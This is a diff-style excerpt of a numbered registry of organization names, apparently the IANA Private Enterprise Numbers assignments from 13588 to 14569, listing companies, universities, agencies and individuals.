+13588 Acegi Technology Pty Limited
+13589 Air Traffic Control & Business Systems GmbH
+13590 Americredit Corp
+13591 BE Intelligent Systems
+13592 Blunk Microsystems
+13593 CommerceFlow, Inc.
+13594 Company Watch Limited
+13595 EMKA electronic AG
+13596 Fachhochschule Bingen
+13597 FEIS, University of Hertfordshire
+13598 General Dynamics Mission Systems Canada (formerly 'General Dynamics Canada')
+13599 Golden Triangle Online
+13600 greenmokey.net
+13601 Hwa Chong Junior College
+13602 IS4-O
+13603 KPNQwest Czechia s.r.o.
+13604 Liberate Technologies
+13605 Maverick workgroup
+13606 Nicomaque
+13607 Unassigned
+13608 OpenHandHome Inc
+13609 Palladium Consulting Inc.
+13610 Q Solutions
+13611 RBC Data
+13612 Schlund + Partner AG
+13613 StrataVerio
+13614 Tartu Kõrgem Kunstikool
+13615 TH
+13616 THALES SYSTEM INTEGRATION GmbH
+13617 Those Interactive Guys
+13618 Transim Technology Corp.
+13619 UnderCoverWear Collection
+13620 University of Wisconsin - Eau Claire
+13621 Wind Telecom
+13622 Yaina
+13623 point it GmbH
+13624 EASTCOM-BUPT INFORMATION TECHNOLOGY CO.,LTD.
+13625 pohlcity.de
+13626 Rastel
+13627 Netfor, Inc.
+13628 SerCon GmbH
+13629 A.G.Tech Network Service
+13630 AFX News Ltd
+13631 Arax Communications
+13632 ATOMiX DESiGN
+13633 AVA Afzar Co.
+13634 B&B Computersysteme GbR
+13635 BSWS
+13636 Corestreet, Ltd.
+13637 Cresent Software Products (PVT) Ltd.
+13638 Expert Systems IVR (Asia) Co., Ltd.
+13639 FibroTEC
+13640 Jon Wood
+13641 Kremlin Computing Limited
+13642 LITAS, s.r.o.
+13643 MIMOS Berhad
+13644 Netgate
+13645 OKB MEI
+13646 Oninit Ltd
+13647 Ostsee-Zeitung GmbH & Co. KG
+13648 Pointred Technologies, Inc
+13649 Polizei Rheinland-Pfalz
+13650 Relativity
+13651 RexKramer
+13652 G.E. de Jong
+13653 Seoul Mobile Telecom, Inc.
+13654 SHENZHEN XIFENG NETWORK TECHNOLOGIES CO.,LTD
+13655 SpaceMonster Gaming Network
+13656 SUNNYbell Technology
+13657 Proximus Luxembourg SA
+13658 Teddy's Network
+13659 The Worley Companies
+13660 U.S. Army CECOM
+13661 The University of Manchester (formerly 'UMIST')
+13662 Universidad de Palermo
+13663 VRGroup.com
+13664 VSS KB, a.s.
+13665 Webs-are.us
+13666 Wolf Hill, s.r.o.
+13667 Wozzle Internet Solutions
+13668 Yes Technology
+13669 Cubic Transportation Systems, Inc.
+13670 San Diego Data Processing Corporation
+13671 TechTV
+13672 General Dynamics - Decision Systems/Secure Products
+13673 Internet Czêstochowa
+13674 PESA Switching Systems, Inc.
+13675 bandwave internet
+13676 French Data Network
+13677 Kb/TEL Telecomunicaciones SA de CV
+13678 acter AG
+13679 AltiGen Communications Inc.
+13680 Aviva Solutions Inc.
+13681 CHILDLOCK solutions
+13682 Ecole des Mines de Nantes
+13683 EFTechnologies, Inc.
+13684 ELPROMA Elektronika
+13685 Faculty of Mathematics and Computer Science, Nicholas Copernicus University of Torun
+13686 go win
+13687 Humboldt-Universitaet zu Berlin
+13688 Icequake Networks
+13689 In Town Consulting LLC
+13690 Madras Computer Vertriebsges.m.b.H.
+13691 Maison d'en France
+13692 mediface
+13693 Mirage Networks, Inc
+13694 Nervus Systems Ltd
+13695 Neurosphere Consulting
+13696 Ohio Wesleyan University
+13697 Paul Dlug
+13698 RunCircle Ltd
+13699 Sarvega Inc.
+13700 Scale Eight
+13701 Sonic Software
+13702 Store Media Engineering
+13703 SunDataCom pvt.Ltd.,
+13704 TNO
+13705 Universitas Indonesia
+13706 Volvo Event Management
+13707 wasiliana solutions
+13708 AIC NETWORK
+13709 The Bank of New York
+13710 LVM Versicherungen
+13711 Primus Telecommunications Australia Pty Ltd
+13712 ARINC (Aeronautical Radio, Inc.) Roy L. Courtney
+13713 Gateweaver
+13714 Reea
+13715 Alescere
+13716 Caja Madrid
+13717 Carreker Corporation
+13718 CCITRIAD
+13719 CEGETEL SI
+13720 CoreMedia AG
+13721 Corning Cable Systems
+13722 deot.net
+13723 Division of BITL
+13724 Erasmus University Rotterdam
+13725 EuroNetics
+13726 FH Bonn-Rhein-Sieg
+13727 Fundação CPqD - Centro de Pesquisa e Desenvolvimento em Telecomunicações
+13728 Fundació> Aplicació
+13729 Funktional Solutions Group
+13730 Geobot, Inc
+13731 Huth Engineering Inc
+13732 iDirect
+13733 IMServ Europe Ltd
+13734 Institut fuer Theorie der Elektrotechnik, Universitaet Stuttgart
+13735 Integra5 Ltd.
+13736 Manufacture des Montres Rolex SA
+13737 Mark Wilcox & Associates
+13738 MindMatics AG
+13739 Pacesetter Electronics
+13740 Popwire Technology AB
+13741 Proinos, INC
+13742 Raritan Computer, Inc.
+13743 SGTE-IES
+13744 SkyTel, Inc.
+13745 Plixer International, Inc. (formerly 'Somix Technologies, INC')
+13746 UNIversity of Detroit Mercy
+13747 Virtual Health Networks, Inc.
+13748 Wizzbit
+13749 Madison Consulting Inc.
+13750 Juergen Weber Unternehmensberatung
+13751 AGY Therapeutics Incorporated
+13752 Amarna Software Productions
+13753 Ascent Computing Group Inc
+13754 Banco Zaragozano
+13755 Carleton College
+13756 C-LOG International
+13757 COXnet
+13758 cr-team.de
+13759 Examen, Inc
+13760 Fourth House Security Inc
+13761 Glencore International AG
+13762 Innovery
+13763 Johannes Passing Softwareentwicklung
+13764 Khodayss Systems Limited
+13765 Life Time Fitness, Inc.
+13766 LOEWE Opta GmbH
+13767 Metalogue Communications
+13768 Movaris
+13769 mozilla.org
+13770 MTA Solutions
+13771 Navic Systems, Inc., d/b/a Navic Networks, Inc.
+13772 NPULSE Software, Inc.
+13773 NTELOS Inc.
+13774 Onetta, Inc.
+13775 Pomona College
+13776 Potlatch Corporation
+13777 Rakuten Inc.
+13778 Sociedade Diginet, LdaJacques
+13779 SUMIX Corporation
+13780 ubernul projekt
+13781 Universite d'AUVERGNE
+13782 University of Dortmund, Department of Mathematics
+13783 Viking Society of SA
+13784 WhidbeyNet
+13785 YH
+13786 ZP system
+13787 PageMail Inc.
+13788 Dev-Labs Ltd.
+13789 Innovations GmbH
+13790 U-King Communications Corp.
+13791 Associação dos Estudantes da Faculdade de Ciências e Tecnologia da Universidade Nova de Lisboa
+13792 Active Telecom
+13793 Acumen Sciences, LLC.
+13794 Beijing Educational Information Network
+13795 Blue Edge Bulgaria
+13796 Caliari Research S.p.A. Nicola
+13797 CIRAD
+13798 Globenet
+13799 Internet 78
+13800 IS Services
+13801 IUFM des Pays de la Loire
+13802 Mundee Internet Services
+13803 Navajo Law Enforcement Training Academy
+13804 Pontifical College Josephinum
+13805 Southland Christian Church
+13806 SysOpen Plc
+13807 Tpack
+13808 ubernul projekt
+13809 Université Jean Monnet Saint Etienne
+13810 University of Alaska
+13811 Israel Discount Bank
+13812 SmartPrice SA
+13813 Evalesco Systems ApS
+13814 alfa Media Partner GmbH
+13815 Angel Iglesias, S.A.
+13816 AppSense Technologies
+13817 Auswärtiges Amt
+13818 BHI
+13819 BTI Communications Co.
+13820 CESKY TELECOM, a.s.
+13821 CNI/Prairienet
+13822 Command Software Systems, Inc
+13823 Comtarsia IT Services
+13824 Consus Ltd
+13825 Crisp Hughes Evans LLP
+13826 Dept of Veterans Affairs
+13827 EndRun Technologies LLC
+13828 ETM International / Austria
+13829 Flecha de Lima Associados
+13830 GED-SOFTWARE
+13831 Geo-Marine, Inc.
+13832 The Go Daddy Group, Inc.
+13833 Gobierno de Canarias
+13834 iMach, Ltd.
+13835 inet-logistics GmbH
+13836 Information and Logistics Consultancy
+13837 IntroTec
+13838 KadeL Data Servis s.r.o.
+13839 MarkitServFX (formerly 'Logicscope Realisations Ltd')
+13840 HYTE Technologies, Inc (formerly 'Media Driver, LLC')
+13841 MetiLinx
+13842 Moser-Baer AG
+13843 Ned Davis Research Group
+13844 North East Worcestershire College
+13845 Ohio Northern University
+13846 PatientKeeper, Inc.
+13847 Pearco Services
+13848 rnix.com
+13849 Sepro Telecom
+13850 Static
+13851 Swisscom (Switzerland) Ltd
+13852 TopoLogica
+13853 Tularik
+13854 Universitaet Mannheim, Rechenzentrum
+13855 Universitaet Oldenburg
+13856 University of Michigan Health System
+13857 Ursys Pty Ltd
+13858 Eltek Valere Inc. (formerly 'Valere Power Inc')
+13859 Voxpilot
+13860 WASKO
+13861 Wolf IT Concepts
+13862 XTec, Incorporated
+13863 Airwolf Systems, Inc.
+13864 MAMINOS, Inc.
+13865 Université Charles de Gaulle - Lille 3
+13866 ACE TIMING
+13867 Adfinis SyGroup AG
+13868 Bahrain Credit
+13869 Blum Capital Partners, LP
+13870 Corporate Oxygen
+13871 Falcon Software NV
+13872 Federal University of Sao Paulo
+13873 FMC
+13874 goepp.net
+13875 Interact
+13876 Ionic Productions LLC
+13877 Kanda Tsushin Kogyo Co., Ltd.
+13878 Kariboo Technologies SA
+13879 Natural Soft S.A.
+13880 ADS Networks Pvt. Ltd
+13881 neobee.net
+13882 Netilla Networks
+13883 New Morning Windows
+13884 Pepco AS
+13885 Polycom, Inc.
+13886 Prosodic Communications Inc.
+13887 Red Roby Software, Inc.
+13888 South Texas Lighthouse for the Blind
+13889 Spriral Designs Inc.
+13890 Teltier Technologies Inc.
+13891 The Advantage Group
+13892 University of New Hampshire
+13893 International Truck and Engine Corporation
+13894 LGNsys
+13895 LaGrange School District 102
+13896 Atos Origin CMS / TSP
+13897 Advanced Technologies Lab
+13898 Alexander Horsch und Thomas Balbach IT Solutions
+13899 Anka Systems, Inc
+13900 Blue Gargoyle Consulting, LLC
+13901 Broadwave Inc.
+13902 Business Internet Trends
+13903 CAMH PET Centre
+13904 Caymas Systems
+13905 Cemagref
+13906 Chantry Networks Inc.
+13907 Compera
+13908 Croatian Physical Society, Student Section
+13909 CTTC - Centre Tecnològic de Telecomunicacions de Catalunya
+13910 Das Büro am Draht
+13911 Epsilon d.o.o.
+13912 Everest Connections
+13913 EVoto Team
+13914 FreakySoft
+13915 Harry Rüter Software Solutions
+13916 Heimat di Andrea Rota
+13917 Hostcentric
+13918 Inkasbank
+13919 Instinct Internet Solutions
+13920 Net6 (formerly 'Magic Hosting')
+13921 NEBS
+13922 nologin
+13923 Peter Verhas
+13924 Powell's Bookstores
+13925 Real Time Productions
+13926 Road Tech Compter Systems Ltd
+13927 SCCNET SOHO Consulting
+13928 TC Communications
+13929 Teragen Pty Ltd
+13930 The Aquarius Network
+13931 uberLAN Technologies
+13932 Vogon.Net
+13933 Alstom Transport
+13934 Micchi
+13935 100comm
+13936 AEGIS Mortgage Corp
+13937 Art Global Limited
+13938 Ashton Raggatt McDougall
+13939 automatX
+13940 COE Ltd
+13941 Communicator Inc.
+13942 Candera Inc
+13943 Datanet
+13944 Denali SA
+13945 Deutsche Forschungsgemeinschaft
+13946 Educational Systems Ltd
+13947 EEMA
+13948 Exostar LLC
+13949 FRANK-EDV-SERVICE Gesellschaft m.b.H.
+13950 Galileo, Inc.
+13951 Gentek Marketing Inc.
+13952 GLOBAL SUN TECHNOLOGY
+13953 HelioGraph Limited
+13954 IT Guardian Ltd
+13955 JPConsulting
+13956 KATCH Network Inc
+13957 Liquidsite, Inc.
+13958 M.N. Ramos Ferreira, Electricidade e Mecânica, Lda
+13959 MLA Power Systems
+13960 NESTAR
+13961 NLIP - Dutch ISP Association
+13962 QoS Labs
+13963 R.V.R. Elettronica SpA
+13964 SWCS Chan Pak Sha School
+13965 tpgpost
+13966 University of Bath
+13967 Vaporware
+13968 Verlag Fur Neue Medien
+13969 VOXSIS Informática
+13970 Aerostrong Science & Technology Co., Ltd.
+13971 ChinaBizone Infomation Technology Co., Ltd.
+13972 Varga Limited
+13973 investir publications
+13974 Epigenomics AG
+13975 Naval Global Directory Service
+13976 Interaktivna Consulting
+13977 SHAYNE ENTERPRISES
+13978 GuardedNet, Inc.
+13979 Mintact Software Inc (formerly 'CompuCS Inc.')
+13980 Platinum Web Pages
+13981 INGCHEM
+13982 FibreSpeed Ltd.
+13983 WWR Development, Inc.
+13984 Cybrick Information Systems
+13985 TAE KWANG INDUSTRIAL CO., Ltd.
+13986 Larry Drummond,Consulting Engineer
+13987 C. Plath GmbH
+13988 tele-akademie der Fachhochschule Furtwangen
+13989 Markus Heiden SAP / EC Consulting
+13990 Coloma Community Schools
+13991 Accellence Technologies GmbH
+13992 M-Net Sys
+13993 ITWorx
+13994 STN ATLAS Elektronik GmbH
+13995 Amperion, Incorporated
+13996 kbox
+13997 Invisible Industries
+13998 Conceptual MindWorks, Inc.
+13999 ItsNotA.com
+14000 Michail Kamprianis
+14001 DRS Technologies Canada Ltd. (formerly 'DRS Flight Safety and Communications')
+14002 University of Wisconsin - Whitewater
+14003 Saint Mary's College
+14004 Gap Inc.
+14005 Kelly
+14006 Thomas Melzer Softwareentwicklung
+14007 IMPACT Science & Technology, Inc.
+14008 KT
+14009 onSynergy Solutions
+14010 Cirrus Real Time Processing
+14011 Cyber-Project
+14012 net-safe Co., Ltd.
+14013 Tata Consultancy Services
+14014 TP EmiTel Sp. z o.o.
+14015 Unet Ltd.
+14016 HG-France
+14017 Fachhochschule Technikum Wien
+14018 Bryan Bellamy
+14019 Betronic Design BV
+14020 Zencod
+14021 Shapers
+14022 Arachne (Poland)
+14023 KCOM Service Provider Network (formerly 'Mistral Internet Group')
+14024 fiscus GmbH
+14025 Landesversicherungsanstalt
+14026 Slapd.Net
+14027 RiverNorth Systems, Inc.
+14028 Real Time Engineering
+14029 Netzwerk-Lehmann
+14030 Smartology vof
+14031 STATO MAGGIORE DIFESA
+14032 SUNY Geneseo
+14033 Samart Info Media Co.,Ltd.
+14034 OU Artaxis
+14035 CyberStar
+14036 LineCom Ltd
+14037 DasW:Lab
+14038 Karns Technology
+14039 Gagliano & Cia
+14040 Branda Tech.
+14041 Railway Information Systems Co.,Ltd
+14042 Freudenberg Haushaltsprodukte KF
+14043 Sociedad Andaluza para el Desarrollo de la Sociedad de laInformacion, S.A.U.
+14044 Kernfysisch Versneller Instituut
+14045 iServe (Pty) Ltd.
+14046 Statens Bostadsfinansierings AB
+14047 ISET
+14048 Lyse Energi
+14049 ProactiveThought Technologies Ltd.Inc.
+14050 Desert Academy at Sante Fe
+14051 NetMaster Digital Security
+14052 Profluent systems Australia
+14053 Prosum Solutions, LLC
+14054 Fibercom
+14055 IP Mobile Net, Inc.
+14056 CEGELEC
+14057 Longhill High School
+14058 Excogita S.r.l.
+14059 Oberoesterreichische Versicherung AG
+14060 ENS GmbH
+14061 Conectiva S.A.
+14062 Escritorio Juridico Alcala Rhode & Asociados
+14063 SeaFire Networks Inc.
+14064 UC Berkeley Residential Computing
+14065 Shanghai FOCI Fiber Optic Communication Equipments Inc.
+14066 pit.at
+14067 allied networks GmbH
+14068 Thueringer Netkom GmbH (formerly 'TEAG Netkom GmbH')
+14069 Syngenio AG
+14070 C3T
+14071 Bohr- und Rohrtechnik GmbH
+14072 Mistral Software Private Ltd.
+14073 SMART Technology
+14074 Shorcan Brokers Ltd.
+14075 Rational Software Corporation
+14076 Marsh Inc.
+14077 Esial
+14078 ANECT a. s.
+14079 Active Tools
+14080 Brivo Systems, Inc.
+14081 Armstrong World Industries
+14082 uplink coherent solutions
+14083 Thomas Enterprises
+14084 Cochran Consulting, Inc.
+14085 ADVFN.com PLC
+14086 ESHA Research
+14087 Zultys Technologies
+14088 Navis LLc
+14089 City of Ontario, Oregon
+14090 Powerview Systems
+14091 Hawker College
+14092 University of Rhode Island
+14093 Medibase Technologies Co., Ltd.
+14094 Sue B.V. (formerly 'Snow B.V.')
+14095 TechDirection
+14096 Forlink Software Corporation Inc.
+14097 ITW-Informationstechnik GmbH
+14098 Hotelequip Ltd.
+14099 Butchwax Software
+14100 WLAN Alliance AB
+14101 D.A.Tsenov EA
+14102 dacore Datenbanksysteme AG
+14103 ICE Systems
+14104 tetronik GmbH AEN
+14105 Business interactif
+14106 Syndicat Interhospitalier de Bretagne
+14107 WIENSTROM
+14108 Odense Kommune
+14109 Jaguar Cars Limited
+14110 ORIMOS
+14111 Oxspring Network Solutions Ltd.
+14112 hzw design
+14113 MagneTek
+14114 Aepona England
+14115 Platespin
+14116 Telecore, Inc.
+14117 aostar
+14118 Hanover College
+14119 Netlife AG
+14120 Letifer.org
+14121 Stone-IT
+14122 Wireless Broadband Alliance Ltd
+14123 Expertcity Inc.
+14124 UK/CA/JN Joint Astronomy Centre
+14125 SENAO INTERNATIONAL CO., Ltd.
+14126 New World PCS Limited
+14127 OneChannel
+14128 Programming Arts, Inc.
+14129 Sevan Networks, Inc.
+14130 Bifco
+14131 Ifoundry Systems
+14132 CS Systemes d'Information
+14133 Buergernetz Weihenstephan e.V.
+14134 University of Szeged
+14135 SysDM
+14136 PONTON GmbH
+14137 Karis
+14138 TGM
+14139 City of Nottingham Council
+14140 Fachhochschule Lippe und Hoexter
+14141 ERECA
+14142 ALPWARE
+14143 FimOSSchober & Hartl OEG
+14144 Malkom S.J.
+14145 Society for Humanity and International Trancendentalism
+14146 Blackbox Consulting Corporation
+14147 Fermi National Accelerator Laboratory
+14148 Officina di idee
+14149 Waddell & Reed Services
+14150 Transaction Auditing Group
+14151 Splentec Ltd.
+14152 Dyncorp Systems and Solutions
+14153 Sigma SaA
+14154 NTKO Network Co., Ltd.
+14155 TIL TECHNOLOGIES
+14156 University of Reading
+14157 FHLBank Topeka
+14158 Consultoria y estrategia electrónica para internet, S.L.(TestaNet)
+14159 Fluent Inc.
+14160 Tribune Interactive
+14161 EPCNet GmbH
+14162 IT Solution GmbH
+14163 SAGA D.C. GmbH
+14164 SANavigator, Inc.
+14165 iReady
+14166 Saviso Consulting Ltd.
+14167 Seattle University
+14168 Owl River Company
+14169 INFORMEDIA
+14170 Australian Research Centre for Medical Engineering
+14171 Memorial University of Newfoundland
+14172 Boca Software, Inc.
+14173 ETRI
+14174 Softforum Co., Ltd.
+14175 Hospital La Fe
+14176 Katholieke Hogeschool Leuven
+14177 implementa GmbH
+14178 JNI Corporation
+14179 Airespace, Inc (formerly 'Black Storm Networks')
+14180 DS Consulting
+14181 Cygnus Technologies
+14182 GlobalLocate
+14183 Arezzo Telecomunicazioni Srl
+14184 Getabigger Network
+14185 CYBER SERVICE
+14186 Gallant Technologies, Inc.
+14187 China Netcom Corporation Ltd.
+14188 Thomas K. Williams, Ltd.
+14189 probusiness AG
+14190 Western Outdoor Interactive
+14191 MNOFBB
+14192 Granite Technologies
+14193 Strabon
+14194 Ministry of Social Development
+14195 Now Software
+14196 California State University, Monterey Bay
+14197 SISNEMA Informatica Ltda.
+14198 PANNAWAY Technologies Incorporated
+14199 Accelrys Inc.
+14200 HCL Comnet Ltd.
+14201 Daxworld
+14202 Dottech International Inc.Ltd.
+14203 AQL
+14204 Reksoft Ltd.
+14205 MAI Insurance Brokers Ltd.
+14206 Informatie Beheer Groep
+14207 Leroy Somer
+14208 OpenWide
+14209 Accellent
+14210 The Storyteller's Place
+14211 Tiffany and Company
+14212 Universitaet Muenchen
+14213 Scitech it solutions GmbH
+14214 Tyco Services
+14215 Interactive Visuals, Inc.
+14216 Sendfar Technology Co., Ltd.
+14217 Wuestenrot Datenservice GmbH
+14218 Facultes Universitaires Notre-Dame de la Paix
+14219 Hapag-Lloyd Container Linie AG
+14220 Akaflieg Munchen e.V.
+14221 Prodigy Labs
+14222 Electric Reliability Council of Texas, Inc.
+14223 Talos (formerly 'Sourcefire, Inc.')
+14224 Software Machine
+14225 SPL / ACT Wireless
+14226 Vizafone
+14227 Tampere Polytechnic
+14228 Flanders Electric
+14229 University of Arkansas-Fayetteville
+14230 Engine GmbH & Co. KG
+14231 The Shmoo Group
+14232 Exelon Corporation
+14233 Sonag Company
+14234 Isotomic Technologies
+14235 SpinCircuit Inc.
+14236 Banco de la Republica
+14237 Sarawak Information Systems Sdn. Bhd.
+14238 Dilithium Networks
+14239 SPRITEInc.
+14240 Top Global Technology Ltd
+14241 Mentorgen, LLC
+14242 AOSA Telekom GmbH & Co.
+14243 RTS Real Time Computersoftware Ges.mbH.
+14244 Bjerkeset Consulting
+14245 The Caudium Group
+14246 Natural Convergence
+14247 signaflex Inc.
+14248 Gemini Security Solutions, Inc.
+14249 Centre Hospitalier Henri Laborit
+14250 Conseil General de la Vienne
+14251 Stellar Craft Inc.
+14252 Prime Solutions Ltd.
+14253 GridXpert
+14254 enhansiv
+14255 brvenik.com
+14256 Arlys S. A.
+14257 Link Margin, Inc.
+14258 Northern Trust Company
+14259 Groupe ECE Paris
+14260 Linux Systemberatung
+14261 Bank Leumi LeIsrael Ltd.
+14262 Dipl. Ing. Felix Beer
+14263 Sven Meinhardt EDV-Service
+14264 OutPost Sentinel
+14265 itouch
+14266 Bulletproff Networks
+14267 WrjTec
+14268 Projekt Avalon
+14269 Beijing Vanlink Communication Co. P.R.China Yu
+14270 Technology Hackworks, Inc.
+14271 Iliad
+14272 AWO Kreisverband Essen e.V.
+14273 IFEN
+14274 BDILukasz Tylski
+14275 Deutsche Bundeswehr
+14276 Osystem AB
+14277 tylerfam.net
+14278 DINX GmbH
+14279 NetHere Internet Services, Inc.
+14280 All Optical Networks, Inc.
+14281 RCAT.net
+14282 Vertrian
+14283 Webraska
+14284 Technische Universitat Chemnitz
+14285 Cegetel SI
+14286 nVISIA
+14287 Aegis:Net
+14288 Lucterra Informatica Ltda
+14289 A3 Design
+14290 Infocorp Computer Solutions, Inc.
+14291 Stefan Lefnaer
+14292 The Document Academy
+14293 Aditel nv
+14294 Collax GmbH
+14295 DOP Systems Ltd.
+14296 Confmon Corp
+14297 One.Tel.UK
+14298 Control Products, Inc.
+14299 SiteSuite Australasia
+14300 Cyber Switching Inc.
+14301 Pro Medicus Ltd.
+14302 papiNet.org
+14303 Nextgen, Inc.
+14304 ScenPro Inc.
+14305 Kora Institute of Science and Technology Information (KISTI)
+14306 FOCI Fiber Optic Communications, Inc.
+14307 Kawamura Electric Inc.
+14308 REP
+14309 Technische Universitaet Clausthal, Rechenzentrum
+14310 Adjoin Solutions, Inc.
+14311 Technion Communications Corporation
+14312 Skypath Networks, Inc.
+14313 Proceda Tecnologia e Informatica SA
+14314 Imaginet
+14315 UBServices
+14316 Shanghai Huateng Software System Co., Ltd.
+14317 Ratwater
+14318 Alstom T&D P&D
+14319 DDD Design GmbH
+14320 Credit Lyonnais DSTI/DSAT/PLANET
+14321 Techelp Ky
+14322 Arnold Design & Informatica Ltda.
+14323 Dennis IT
+14324 The Written Word, Inc.
+14325 PuceBaboon
+14326 Sirius Satellite Radio
+14327 VA Linux Systems Japan K.K.
+14328 JAG Productions, Inc.
+14329 TimeCertain, LLC
+14330 Shanghai Ewaytek Co., Ltd.
+14331 Beijing Topsec Network Security Technology Co., Ltd.
+14332 DeadSquid Communications
+14333 Phonologies (India) Pvt. Ltd.
+14334 Milton Keynes Council
+14335 Econnect
+14336 The Chesapeake Computer Group, Incorporated
+14337 Superintendencia de Servicios de Salud
+14338 ImpSat S.A.-Colombia
+14339 Hioptel
+14340 LinuxTek, Inc.
+14341 Ministry of Pacific Island Affairs
+14342 Netway Networks Pty. Ltd.
+14343 Osprey Network Technologies, Inc.
+14344 Electronic Commerce Technologies
+14345 ETG
+14346 Erich Jaeger GmbH
+14347 RealNet Kft.
+14348 Swist Group Technologies (Pty.) Ltd.
+14349 Dyband Corporation
+14350 Storbit
+14351 Applied Engineering, Inc.
+14352 Penn State University
+14353 Alessandro Bertela
+14354 Menlo Park Presbyterian Church
+14355 Chapman University
+14356 Bank of Bermuda
+14357 WORLDPAC
+14358 SnapGear Pty Ltd
+14359 Abacus
+14360 Routrek Networks, Inc.
+14361 Foresearch
+14362 Telekom Slovenije d.d.
+14363 Blue Oak Wireless (Pty) Ltd.
+14364 CLG
+14365 IgH Essen GmbH
+14366 Energy Research Foundation
+14367 Ironic Design, Inc.
+14368 PUBLIC.AT Internet
+14369 TSI
+14370 GeoTrust Inc.
+14371 IOTAC
+14372 Universidad Simon Bolivar
+14373 MystroTV
+14374 International Software Solutions
+14375 Wireless Services Corp.
+14376 Applied Signal Technology, Inc.
+14377 CORE SECURITY TECHNOLOGIES
+14378 lmjn.com
+14379 VarioSecure Networks, Inc.
+14380 KT ICOM
+14381 TeleCIS, Inc.
+14382 Superlong IT Ltd.
+14383 Openexpertise Pty. Ltd.
+14384 Romsym Data
+14385 RTE Software
+14386 soLNet, s.r.o
+14387 Absolute Systems (PTY) Ltd
+14388 Toll Collect
+14389 Spider Internet Technologies, Inc.
+14390 QRS Healthcare Solutions
+14391 Ace Suares
+14392 SI-Solucoes de Informatica
+14393 PRODASAL Companhia de Processamento de Dados de Salvador
+14394 New Mass Media, Inc.
+14395 University of Oregon
+14396 c4net
+14397 ICSS
+14398 Behavioral Informatics Inc.
+14399 NEC Platforms, Ltd.
+14400 VentureTechs Corp.
+14401 Joint Stock Company Volgatelecom, Penza region
+14402 University of Geneva
+14403 Gymnasium Hermann-Boese-Str.
+14404 Spediant Systems Ltd.
+14405 Charon Systems Inc.
+14406 United Land Services, Inc.
+14407 Xidus.Net
+14408 nDosa Technologies, Inc.
+14409 DCANet
+14410 TSSX
+14411 Beijing QXCOMM Technology CO., Ltd.
+14412 European Transaction Bank AG
+14413 Comfone AG
+14414 Regio Ltd.
+14415 e-mobilizer
+14416 ntl
+14417 Continentale Krankenversicherung A.G.
+14418 Centro de Tecnologia da Informação "Luiz de Queiroz"
+14419 EMIGRATUS Communications Inc.
+14420 ltinetworks.com
+14421 Mocana Corporation
+14422 Tazmen Technologies
+14423 Rondosoft, Inc.
+14424 humatix
+14425 Telkonet Inc.
+14426 Enterprise Innovations Corporation
+14427 NACT Telecommunications Inc.
+14428 Welstand
+14429 McLuckie and Associates
+14430 PoliVec Inc.
+14431 Universitas Kristen Krida Wacana
+14432 Reserved
+14433 China Financial Certification Authority
+14434 Network Systems and Technologies
+14435 Vrije Universiteit Amsterdam
+14436 Quiconnect.com
+14437 baltz.org
+14438 PolarLake
+14439 Hit Internet Technologies S.p.A
+14440 Longship Scout Group
+14441 Miller Zell
+14442 XYBASE (Malaysia) Sdn Bhd
+14443 July Systems
+14444 Redback IT Pty Ltd
+14445 Elecs Industry Co., Ltd.
+14446 INDEO GmbH
+14447 Spektra Group Ltd
+14448 Iatrogenix.com
+14449 HitNet e.V.
+14450 Twicom
+14451 Industrial Computing Ltd
+14452 Everyone.net
+14453 ISIS Networks
+14454 Tel-Aviv University
+14455 IntercontinentalExchange
+14456 Lemuria Asesores Informaticos C.A.
+14457 Lorex Industries, Inc.
+14458 ILIENT
+14459 Hennessy Digital
+14460 B Digital
+14461 Keyware Solutions Inc.
+14462 Psgue Corporation
+14463 Tour2000 co., LTD
+14464 ValueCommerce
+14465 NOC Grove
+14466 Heinrich-Heine-Universitaet Duesseldorf
+14467 STIME
+14468 Marconi Integrated Systems
+14469 Cyclone Computer Consultants Ltd
+14470 Plahl Karl Consult
+14471 Wasabi Systems
+14472 VIA NET.WORKS Services AG
+14473 Queen's University
+14474 NextAxiom Technology, Inc.
+14475 Ralph DeHart
+14476 Network Executive Software, Inc.
+14477 RELIX
+14478 University of Melbourne
+14479 Korea National Defence University
+14480 norisbank AG
+14481 KOBIL Systems GmbH
+14482 System 5
+14483 UNIC Internet Consulting
+14484 Digital V6 Corp.
+14485 Sanmina-SCI Inc
+14486 Marlboro College
+14487 Erkkila Consulting
+14488 Darkmist
+14489 mcgrew.net Inc.
+14490 Ariadne Internet Services, Inc.
+14491 Standard School District
+14492 Dialogue Technology Corporation
+14493 Aurigo Software Technologies
+14494 ASPedi GmbH
+14495 Hans Lie
+14496 SwedishAmerican Health System Corporation
+14497 Gist Communications, Inc.
+14498 Style Networks, Inc.
+14499 e-Bank
+14500 Warsaw University
+14501 Blue Coat Systems
+14502 Sam Asher Computing Services, Inc.
+14503 Asylum Visual Effects
+14504 Packet Signal Corporation
+14505 Spiral Designs Inc.
+14506 Ministerul Apararii Nationale
+14507 Russian American Glass Company - RASKO Ltd
+14508 Teknovus
+14509 Mercateo AG
+14510 Astra Datentechnik GmbH
+14511 London Metropolitan University
+14512 Aspivia (Pty) Ltd.
+14513 Webflex
+14514 DAVE s.r.l.
+14515 GenoGRID
+14516 Sanoma Budapest Publishing Ltd.
+14517 Tactel AB
+14518 Pihana Pacific, Inc.
+14519 Washington University
+14520 Wolfram Research Inc.
+14521 H K Moore Limited
+14522 GVI Medical Devices
+14523 hermit.org
+14524 Pharos Systems
+14525 Trapeze Networks, Inc
+14526 Safenet Informatica Ltda
+14527 iWiring
+14528 Newlands College
+14529 FHPWireless
+14530 Robert Baptista
+14531 Blackwell Consulting Services
+14532 The Asylum
+14533 Apoteket AB
+14534 SCHIFFKO GmbH
+14535 Europoint Networking
+14536 Inceritus
+14537 TMP Consultoria de Informatica S/C Ltda
+14538 Beijing SinceTimes Communication Co., Ltd.
+14539 realprogrammers.com
+14540 Leszek Pisarek
+14541 DeanO
+14542 Verizon ESG
+14543 N30D
+14544 Shanghai Posts&Telecommunications Equipment CO., Ltd.
+14545 ICT, Academy of Science, CHINA
+14546 NTO "IRE-POLUS"
+14547 Neue Zurcher Zeitung
+14548 Autovalley
+14549 Awanim
+14550 Metaware S.p.A
+14551 GSI mbH
+14552 Rison Craft
+14553 DaimlerChrysler Corp.
+14554 VU MIF
+14555 CMGCC
+14556 Graven Software
+14557 Infowave Software Inc.
+14558 SunGard BSR, Inc.
+14559 Mondru AB
+14560 TSCNet, Inc.
+14561 Vocent Solutions
+14562 e-Project Solutions Pte Ltd
+14563 National Information and Communication Technology Australia
+14564 elbers.com
+14565 Z-Force, Inc.
+14566 BMF
+14567 Coventry University Enterprises Ltd
+14568 Weiser
+14569 Heidelberger Druckmaschinen AG
